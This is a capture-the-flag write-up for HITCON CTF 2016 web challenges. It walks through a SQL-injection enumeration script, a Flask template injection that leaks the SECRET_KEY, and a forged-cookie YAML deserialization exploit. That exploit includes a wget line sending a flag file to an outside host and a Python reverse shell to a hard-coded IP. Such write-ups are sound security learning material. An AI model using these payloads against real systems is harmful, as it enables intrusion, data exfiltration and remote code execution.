REFERENCE: https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/web

Are you rich? / Are you rich 2?

Description Are you rich? Buy the flag!

http://52.197.140.254/are_you_rich/

ps. You should NOT pay anything for this challenge

Some error messages which is non-related to challenge have been removed

Solution 1

SQL Injection:

SELECT table_name from information_schema.tables LIMIT *,1 #

Use a script:

import requests

URL = 'http://52.197.140.254/are_you_rich/verify.php'

for i in range(0, 100):  
    address = r"d' AND 1=2 UNION ALL SELECT table_name from information_schema.tables LIMIT {},1 #".format(str(i))
    print(address)
    data = {'address': address,
            'flag_id': 'flag2',
             'submit': 1}

    r = requests.post(URL, data=data)

    if 'not have enough' not in r.text:
        print(r.text)

And get the table: flag1

Then do d' AND 1=2 UNION ALL SELECT flag from flag1 #

And get

Error!: Remote API server reject your invalid address 'hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}'. If your address is valid, please PM @cebrusfs or other admin on IRC.

Flag: hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}

Solution 2

Go to website: https://bitinfocharts.com/bitcoin

Choose the richest wallet, get the address: https://bitinfocharts.com/bitcoin/address/3Nxwenay9Z8Lc9JBiywExpnEFiLp6Afp8v

And get the flag.

3Nxwenay9Z8Lc9JBiywExpnEFiLp6Afp8v' UNION SELECT '3Nxwenay9Z8Lc9JBiywExpnEFiLp6Afp8v';#

Flag: hitcon{u51n6_07h3r_6uy5_b17c0n_70_byp455_ch3ck1n6_15_fun!!}

Secure Posts 1

Source: https://gist.github.com/imcmy/7cd1133ff20cf8a83e0422855d5a5f3c

It takes your post, saves it with your session using a secret key. It additionally allows you to store the posts as either JSON, or YAML. The code is a bit more confusing, and seems to maybe allow you to use Pickle or eval, but that's actually useless/unimportant.

Look into the source, we can find where user input seems to go:

return render_template_string(template.format(name=name), **args)  

Try "Template format injection" and "Part II".

In the post form, testing {{ '7' * 7 }}. Give 7777777. So, change it to {{ config }}. And output:

<Config {'SESSION_COOKIE_SECURE': False, 'DEBUG': False, 'SESSION_COOKIE_NAME': 'session', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PREFERRED_URL_SCHEME': 'http', 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SERVER_NAME': None, 'SEND_FILE_MAX_AGE_DEFAULT': 43200, 'TRAP_HTTP_EXCEPTIONS': False, 'MAX_CONTENT_LENGTH': None, 'A': <datetime.tzinfo object at 0x7f3b41b891d0>, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_AS_ASCII': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SESSION_COOKIE_DOMAIN': None, 'USE_X_SENDFILE': False, 'APPLICATION_ROOT': None, 'SESSION_COOKIE_HTTPONLY': True, 'LOGGER_NAME': 'post_manager', 'SESSION_COOKIE_PATH': None, 'SECRET_KEY': 'hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}', 'JSON_SORT_KEYS': True}>  

The SECRET_KEY is the flag.

Flag: hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}

Secure Posts 2

The flag above we get is the SECRET KEY of the flask app. That means we actually have full control of the data that the app will try to deserialize. With the secret key, we could edit the session cookie without violating the signature check.

So, try YAML Deserialization attack.

import yaml  
from flask.sessions import SecureCookieSessionInterface

key = r"hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}"

class App(object):  
    def __init__(self):
        self.secret_key = None

def load_yaml(data):  
    import yaml
    return yaml.load(data)

exploit = u"some_option: !!python/object/apply:subprocess.call\n \  
  args: [wget eugenekolo.com/$(cat flag2)]\n \
  kwds: {shell: true}\n"

exploit = {'post_type': u'yaml',  
           'post_data': exploit}

app = App()  
app.secret_key = key

# Encode a session exactly how Flask would do it
si = SecureCookieSessionInterface()  
serializer = si.get_signing_serializer(app)  
session = serializer.dumps(exploit)

print("Change your session cookie to: ")  
print(session)

Refresh the page, and get the flag.

52.69.126.212 - - [10/Oct/2016:05:02:55 +0300] "GET /hitcon%7Bunseriliaze_is_dangerous_but_RCE_is_fun!!%7D HTTP/1.1" 301 184 "-" "Wget/1.17.1 (linux-gnu)"  

Or

class Exploit(object):
 def __reduce__(self):
   fd = 1
   return (exec,
           ('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("128.199.226.218",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);',))
   

# dump utils
@app.route('/')
def index():
    anu = yaml.dump(Exploit())
    serializer_interface = SecureCookieSessionInterface()
    serializer = serializer_interface.get_signing_serializer(app)
    out = serializer.dumps({
    "name": "shit",
    "post_data": "- "+anu,
    "post_type": "yaml"
})

    print(out)
    return render_template('index.html', out=out)

Flag: hitcon{unseriliaze_is_dangerous_but_RCE_is_fun!!}